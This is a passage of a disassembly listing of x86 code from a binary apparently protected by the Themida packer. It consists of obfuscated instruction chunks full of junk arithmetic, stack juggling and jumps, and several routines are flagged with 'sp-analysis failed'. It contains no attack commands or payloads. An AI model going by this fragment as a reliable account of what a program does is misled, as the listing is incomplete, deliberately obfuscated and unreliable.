; FUNCTION CHUNK AT 00567E64 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00568C8E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056A4BD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ACD5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056ACEF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B53C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B80A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BC81 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D835 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D85F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056E179 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056EEB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F294 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F2AC SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0056FD84 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056FDE4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056FF95 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005707A4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005717A3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571F92 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00571FCA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572E83 SIZE 00000010 BYTES
lodsb
xor al, bl
push 472Fh
jmp loc_5679C6
sub_57146D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D414
loc_57147A: ; CODE XREF: sub_56D414+Fj
mov [esp+8+var_8], esp
jmp sub_5715F0
; END OF FUNCTION CHUNK FOR sub_56D414
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561F05
loc_571482: ; CODE XREF: sub_561F05+4C2Dj
dec esi
push eax
sub esp, 4
mov [esp+14h+var_14], edx
jmp loc_56BA56
; END OF FUNCTION CHUNK FOR sub_561F05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57117B
loc_57148F: ; CODE XREF: sub_57117B-B976j
mov cl, 56h
push eax
mov al, 38h
sub cl, al
pop eax
jmp sub_56489B
; END OF FUNCTION CHUNK FOR sub_57117B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_57149C: ; CODE XREF: sub_566DFE-23C4j
add edi, 67A0486Ah
sub edi, 5BF202DCh
pop esi
xor edi, [esp-8+arg_4]
xor [esp-8+arg_4], edi
xor edi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
test cx, ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562EB3
loc_5714BE: ; CODE XREF: sub_562EB3+6j
mov eax, 4
add esi, eax
pop eax
sub esi, 4
jmp loc_56A284
; END OF FUNCTION CHUNK FOR sub_562EB3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5714CE: ; CODE XREF: sub_564D26+967Ej
add esp, 4
push 6BA8h
jmp loc_56FF43
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5619EF
loc_5714DB: ; CODE XREF: sub_5619EF+4j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5619EF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5714E0: ; CODE XREF: sub_568E5C-20F5j
pop edx
xor edi, ebx
pop ebx
shl edi, 3
add edi, 1740E29h
add eax, edi
pop edi
jmp loc_564D7A
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
loc_5714F5: ; CODE XREF: Themida_:005720EAj
xor ebp, 37A06D8Ch
xor ebp, 9BADBBA5h
or edi, ebp
pop ebp
sub edi, 0FFFFFFFFh
jmp loc_572012
; ---------------------------------------------------------------------------
loc_57150C: ; CODE XREF: Themida_:00561377j
add esp, 4
neg ebp
add ebp, 65E56AFAh
sub ebp, 0F53D1ED4h
mov eax, ebp
pop ebp
add edx, 7D5B0B81h
sub edx, eax
jmp loc_563DF6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_57152D: ; CODE XREF: sub_561418+12C1Cj
mov edi, 661715D5h
inc edi
xor edi, 6344361Ah
add ecx, edi
pop edi
jmp loc_569ED9
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_571541: ; CODE XREF: sub_5684A6-2881j
xor esi, [esp+4+var_4]
pop esp
mov [esp+0], edx
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_57154D: ; CODE XREF: sub_57354D-7886j
mov eax, [esp+0Ch+var_C]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+10h+var_10]
pop esp
xor edx, 16FC1E8Fh
jmp loc_574A34
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_57156B: ; CODE XREF: sub_560C12+Fj
add ebx, 4
sub ebx, 4
jmp loc_5625CE
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_57157C: ; CODE XREF: sub_56B11B-6187j
add [esp+10h+var_10], 3D1274E9h
pop esi
not esi
inc esi
shr esi, 3
xor esi, 0C4C08B1h
mov eax, esi
jmp loc_561F4A
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_571597: ; CODE XREF: sub_56EE9F-12D3j
inc eax
xor eax, 6A82C1BBh
add ebp, eax
pop eax
shr ebp, 1
jmp loc_575121
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_5715A7: ; CODE XREF: sub_570FB7-4B48j
add ebx, 4
xchg ebx, [esp+0]
pop esp
add esp, 4
pop eax
sub [edi+24h], ebx
jmp loc_56BA40
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_5715BD: ; CODE XREF: sub_56EFD2-B558j
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
btc word ptr [esp-4+arg_0], ax
pushf
jmp loc_573939
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
loc_5715CE: ; CODE XREF: Themida_:0056A27Fj
sub esp, 4
mov [esp], eax
mov eax, 3CA8369Dh
or ebp, eax
pop eax
xor ebp, 47A37BEAh
sub ebp, 5E100CE4h
shl ebp, 6
jmp loc_56C055
; =============== S U B R O U T I N E =======================================
sub_5715F0 proc near ; CODE XREF: sub_56D414+4069j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560296 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00561935 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056255D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056354B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563DB0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056B5EE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056D740 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F29E SIZE 0000000E BYTES
sub esp, 4
mov [esp-4+arg_0], ecx
mov ecx, 4
sub esp, 4
mov [esp+0], edi
jmp loc_56D740
sub_5715F0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3AF
loc_57160C: ; CODE XREF: sub_56D3AF-B949j
add esi, ebx
add esi, 3A6D035Dh
mov ebx, [esp+0Ch+var_C]
add esp, 4
add esi, 4
push esi
push [esp+0Ch+var_8]
pop esi
pop [esp+0Ch+var_C]
jmp loc_5697FA
; END OF FUNCTION CHUNK FOR sub_56D3AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574000
loc_571631: ; CODE XREF: sub_574000-1B4Aj
add esp, 4
push 58A1h
jmp loc_56FB60
; END OF FUNCTION CHUNK FOR sub_574000
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561541
loc_57163E: ; CODE XREF: sub_561541+10A22j
add esi, eax
pop eax
push eax
mov eax, 4
sub esi, eax
pop eax
xor esi, [esp+4+var_4]
jmp loc_5601E6
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_571652: ; CODE XREF: sub_57549C-13850j
pop edx
sub edi, 0FBD9CBD2h
sub eax, edi
jmp loc_573897
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568CD2
loc_571660: ; CODE XREF: sub_568CD2+938Ej
pop esp
mov [esp+0], edi
push 1E9Fh
jmp loc_5676A5
; END OF FUNCTION CHUNK FOR sub_568CD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5753A5
loc_57166E: ; CODE XREF: sub_5753A5+4j
push 81Eh
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_56FC1E
; END OF FUNCTION CHUNK FOR sub_5753A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_57167D: ; CODE XREF: sub_5666C3+8j
mov ebx, [esp-8+arg_4]
add esp, 4
push edi
jmp loc_56E78B
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_57168C: ; CODE XREF: sub_57549C-C689j
mov ebp, [esp+8+var_8]
add esp, 4
push ecx
mov ecx, esp
push eax
mov eax, esp
jmp loc_574D72
; END OF FUNCTION CHUNK FOR sub_57549C
; =============== S U B R O U T I N E =======================================
sub_5716A0 proc near ; CODE XREF: sub_567B29+2565j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561854 SIZE 0000003B BYTES
push ebx
jmp loc_561854
sub_5716A0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D9E
loc_5716A6: ; CODE XREF: sub_568D9E+1B42j
not edi
jmp loc_56A5CB
; END OF FUNCTION CHUNK FOR sub_568D9E
; ---------------------------------------------------------------------------
loc_5716AD: ; CODE XREF: Themida_:00573328j
mov esi, 4
jmp loc_56EF59
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_5716B7: ; CODE XREF: sub_563A7F+1A4Aj
mov [esp+12h+var_14+2], ebp
jmp loc_566781
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_5716BF: ; CODE XREF: sub_561418+7229j
pop edi
xor edx, ebp
jmp loc_5701C2
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D589
loc_5716C7: ; CODE XREF: sub_56D589+6j
xor ebp, ebx
pop ebx
jmp sub_5735AA
; END OF FUNCTION CHUNK FOR sub_56D589
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_5716CF: ; CODE XREF: sub_572DD7+13j
push [esp+8+var_8]
pop edi
push 655Fh
mov [esp+0Ch+var_C], esi
push esp
pop esi
add esi, 4
jmp loc_56FA5C
; END OF FUNCTION CHUNK FOR sub_572DD7
; =============== S U B R O U T I N E =======================================
sub_5716E8 proc near ; DATA XREF: Themida_:0055FD38o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056D7B8 SIZE 0000000D BYTES
mov ax, [esp+0]
jmp loc_56D7B8
sub_5716E8 endp
; =============== S U B R O U T I N E =======================================
sub_5716F1 proc near ; CODE XREF: sub_569AB3+AF45j
var_C = dword ptr -0Ch
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00563E23 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00569A1C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E15B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571DD6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057259C SIZE 0000001F BYTES
push ebx
push edi
push 2F5D2996h
mov edi, [esp+0]
add esp, 4
jmp loc_569A1C
sub_5716F1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56959A
loc_571703: ; CODE XREF: sub_56959A-45Bj
xchg ecx, [esp+8+var_8]
jmp loc_56C241
; END OF FUNCTION CHUNK FOR sub_56959A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_57170B: ; CODE XREF: sub_56BC97+7382j
push esi
mov esi, 2
jmp loc_56CD39
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_571716: ; CODE XREF: sub_57236D+17j
mov esi, 4
add eax, esi
jmp loc_567553
; END OF FUNCTION CHUNK FOR sub_57236D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564BC5
loc_571722: ; CODE XREF: sub_564BC5+62D4j
sub ebp, 0FFFFFFFFh
xchg ebp, edx
shl edx, 8
push 46A3h
jmp loc_56BD2E
; END OF FUNCTION CHUNK FOR sub_564BC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D69D
loc_571737: ; CODE XREF: sub_56D69D-9BA8j
pop ebp
jmp loc_5695CF
; END OF FUNCTION CHUNK FOR sub_56D69D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_57173D: ; CODE XREF: sub_56628B+Cj
add esp, 4
push ebx
mov ebx, 6EB07CBh
jmp loc_567D8C
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_57174B: ; CODE XREF: sub_563A7F-291Dj
inc cl
jmp loc_568E18
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
loc_571752: ; CODE XREF: Themida_:00570A63j
mul cl
jmp loc_5638AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D0B7
loc_571759: ; CODE XREF: sub_56D0B7-B36Cj
mov eax, [esp-8+arg_4]
push 71h
mov [esp-4+arg_0], edi
mov edi, esp
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
pop ebx
xchg edi, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
push 40Ch
mov [esp+0], eax
mov eax, 2
sub ebp, eax
mov eax, [esp+0]
jmp sub_574B8A
; END OF FUNCTION CHUNK FOR sub_56D0B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_571792: ; CODE XREF: sub_560EA2+DF84j
mov eax, 10BA0687h
not eax
add eax, 0B9A4CD7Eh
jmp loc_573F4A
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_5717A3: ; CODE XREF: sub_57146D-14D3j
pop edx
add esp, 4
push edx
mov dh, 2Ah
add bl, dh
jmp loc_56B80A
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5717B1: ; CODE XREF: sub_57354D-3200j
push esp
jmp loc_562DDF
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_5717B7: ; CODE XREF: sub_5754DA-1350Cj
mov [esp+8+var_8], ebx
mov bl, 79h
shl bl, 5
sub bl, 0B4h
and bl, 5Ch
xor bl, 94h
xchg cl, bl
not cl
xchg cl, bl
inc bl
shl bl, 8
xor bl, 5Ch
sub al, bl
push [esp+8+var_8]
pop ebx
add esp, 4
push cx
jmp loc_56A229
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_5717E9: ; CODE XREF: sub_574656+3C6j
pop esp
push 7A63h
mov [esp+14h+var_14], eax
push esi
pop eax
mov ebp, eax
pop eax
jmp loc_56FFFF
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5717FC: ; CODE XREF: sub_57354D-8066j
inc ecx
or ecx, 2694E2Eh
sub ecx, 0CAF683Eh
xor ecx, 6F782B36h
xor esi, ecx
pop ecx
or edx, esi
pop esi
jmp loc_5745BB
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_57181A: ; CODE XREF: sub_561418+1FDAj
push edi
push 2832h
mov [esp+1Ch+var_1C], ecx
mov ecx, 635529EEh
neg ecx
sub ecx, 2C9D1FD3h
and ecx, 7CD65AA4h
add ecx, 6DEEF5Fh
mov edi, ecx
pop ecx
add edi, 602321E0h
not edi
jmp loc_57220E
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
loc_57184C: ; CODE XREF: Themida_:0057410Ej
add ebx, ecx
pop ecx
push ebp
mov ebp, 34782AB8h
sub ebp, 0B878D5B8h
sub ebx, ebp
jmp loc_5701F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_571862: ; CODE XREF: sub_57354D-694Fj
push 78A6h
mov [esp+0Ch+var_C], esi
mov eax, [esp+0Ch+var_C]
add esp, 4
jmp loc_5687FB
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_571875: ; CODE XREF: sub_5678CB-3AADj
and ebx, 4BE242DCh
not ebx
and ebx, 50400AC3h
xor ebx, 5BF23F6Fh
and ebp, ebx
jmp loc_5751A3
; END OF FUNCTION CHUNK FOR sub_5678CB
; =============== S U B R O U T I N E =======================================
sub_571890 proc near ; DATA XREF: Themida_:0055FEFCo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = word ptr 10h
; FUNCTION CHUNK AT 005614F7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00561AD8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056322B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005638F4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00567000 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568466 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00568BDC SIZE 0000003D BYTES
; FUNCTION CHUNK AT 005698E7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AF6B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056BAFC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056F355 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F4DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056FF3D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057059C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057078F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573A5B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00574EE8 SIZE 00000016 BYTES
mov cx, [esp+0]
sub esp, 4
jmp loc_57078F
sub_571890 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_57189C: ; CODE XREF: sub_572641-D706j
pop ebx
push 2C3h
mov [esp+4+var_4], edx
mov dl, 7Ch
and dl, 0F3h
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5705C9
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_5718B8: ; CODE XREF: sub_560844+32j
mov [esp+0], ebx
jmp loc_56CF3C
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_5718C0: ; CODE XREF: sub_567D31-2963j
mov ebp, 3D0015Ah
or ebp, 5DCC3E3Ah
inc ebp
xor ebp, 24135872h
add ebp, 3C6D1AC1h
xor ebp, 0D9AAF922h
add esi, ebp
pop ebp
jmp loc_568B10
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E4D4
loc_5718E6: ; CODE XREF: sub_56E4D4-5C4Dj
push 13273709h
pop ebx
sub ebx, 0EC5B2ACEh
mov edi, ebx
jmp loc_5726C9
; END OF FUNCTION CHUNK FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_5718F9: ; CODE XREF: sub_56FA15+543Dj
xor dl, al
mov eax, [esp+14h+var_14]
add esp, 4
xor dl, cl
pop ecx
push eax
push ebx
mov bh, dl
mov ah, bh
jmp loc_56C0D6
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570CE4
loc_571912: ; CODE XREF: sub_570CE4-65DDj
shl eax, 7
add eax, 4973B672h
mov ecx, eax
jmp loc_56808E
; END OF FUNCTION CHUNK FOR sub_570CE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E5BB
loc_571921: ; CODE XREF: sub_56E5BB-3DA0j
mov [esp+8+var_8], ecx
push [esp+8+var_4]
mov ecx, [esp+0Ch+var_C]
push 3C35h
mov [esp+10h+var_10], edx
push esp
mov edx, [esp+14h+var_14]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+18h+var_18]
pop esp
push edi
push ebx
mov ebx, 4
mov edi, ebx
jmp loc_5611F6
; END OF FUNCTION CHUNK FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_571958: ; CODE XREF: sub_565632+6CC4j
mov edx, eax
jmp loc_572A4C
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_57195F: ; CODE XREF: sub_561027+1D29j
mov [esp-4+arg_0], eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp-4+arg_0]
jmp loc_5643FF
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_571974: ; CODE XREF: sub_567D31+1D1Cj
mov [esp+4+var_4], ebx
pop edx
push esi
push edx
push edi
jmp loc_56C60A
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
loc_571980: ; CODE XREF: Themida_:005642B1j
pop esp
mov [esp], ebp
mov ebp, 4
add ecx, 51FD097Eh
add ecx, 75272EB2h
sub ecx, ebp
push esi
jmp loc_571CD1
; =============== S U B R O U T I N E =======================================
sub_57199D proc near ; CODE XREF: sub_5680AC+49DEj
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005607E9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00567E1A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C511 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0057049D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00570F77 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005735DA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005744FC SIZE 00000007 BYTES
push ebx
mov ebx, esp
jmp loc_570F77
sub_57199D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_5719A5: ; CODE XREF: sub_566DFE+66EEj
sub edi, 7E54DFA8h
mov eax, edi
pop edi
shl eax, 3
jmp loc_5673AB
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_5719B6: ; CODE XREF: sub_569A75-7DBBj
mov edx, [esp+0]
add esp, 4
jmp sub_5620B7
; END OF FUNCTION CHUNK FOR sub_569A75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_5719C1: ; CODE XREF: sub_56AEF2+3949j
mov edx, [esp-18h+arg_14]
add esp, 4
add bl, 49h
sub bl, 0B4h
jmp loc_568BC9
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_5719D5: ; CODE XREF: sub_570B3C-7508j
pop edi
push esi
mov esi, 73A25C98h
or esi, 0EED3807h
jmp loc_570657
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_5719E7: ; CODE XREF: sub_56241E-68j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_5719EC: ; CODE XREF: sub_56CC46-D7Ej
mov edx, 6C323DF3h
add edx, 0A823A57h
add ecx, edx
pop edx
pop esi
add edx, ecx
mov ecx, [esp+4+var_4]
add esp, 4
add edx, ebp
jmp loc_56FB0C
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_571A0D: ; CODE XREF: sub_5678CB-FD6j
mov dh, 0ACh
neg dh
not dh
jmp loc_57265C
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_571A18: ; CODE XREF: sub_574304-13196j
add ebp, 4
push ebx
mov ebx, 4
sub ebp, ebx
pop ebx
jmp loc_56F1B1
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A423
loc_571A2C: ; CODE XREF: sub_56A423+2545j
mov edx, ecx
jmp loc_573EA1
; END OF FUNCTION CHUNK FOR sub_56A423
; ---------------------------------------------------------------------------
loc_571A33: ; CODE XREF: Themida_:005694C5j
pop esi
push eax
jmp loc_561672
; ---------------------------------------------------------------------------
loc_571A3A: ; CODE XREF: Themida_:005646C9j
pop ebx
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_56F7FE
; =============== S U B R O U T I N E =======================================
sub_571A50 proc near ; DATA XREF: Themida_:0055FF40o
mov ax, [esp+0]
jmp sub_56A423
sub_571A50 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A608
loc_571A59: ; CODE XREF: sub_56A608+341Aj
push eax
jmp loc_566351
; END OF FUNCTION CHUNK FOR sub_56A608
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_571A5F: ; CODE XREF: sub_567CFE+14j
sub edx, 391E00A7h
sub edi, edx
pop edx
mov ecx, edi
pop edi
or ecx, 2C141F1Fh
inc ecx
push eax
jmp loc_5659F9
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_571A78: ; CODE XREF: sub_5747D7-7C16j
pop edi
add eax, 4
jmp loc_562097
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_571A81: ; CODE XREF: sub_56BD44-76B0j
push 7079641Ch
pop ebp
shl ebp, 6
xor ebp, 4EB8043Ah
jmp loc_563BAA
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_571A95: ; CODE XREF: sub_57549C-19F9j
neg ecx
not ecx
inc ecx
or ecx, 3F327B34h
push ebx
mov ebx, 78F31895h
jmp loc_560C26
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_571AAB: ; CODE XREF: sub_569DB5+B118j
pop edx
mov esi, [esp+4+var_4]
jmp sub_5726BB
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_571AB4: ; CODE XREF: sub_574949-4922j
add esp, 4
mov dh, ch
jmp loc_5681AD
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57117B
loc_571ABE: ; CODE XREF: sub_57117B+1F5Aj
add cl, 4Ah
jmp loc_5657EA
; END OF FUNCTION CHUNK FOR sub_57117B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_571AC6: ; CODE XREF: sub_563FA2+59Ej
mov eax, [esp+4+var_4]
add esp, 4
sub ecx, 4
xchg ecx, [esp+0]
jmp loc_56AD55
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_571ADA: ; CODE XREF: sub_572075-B4D5j
mov [esp+0], ecx
jmp loc_56FDBA
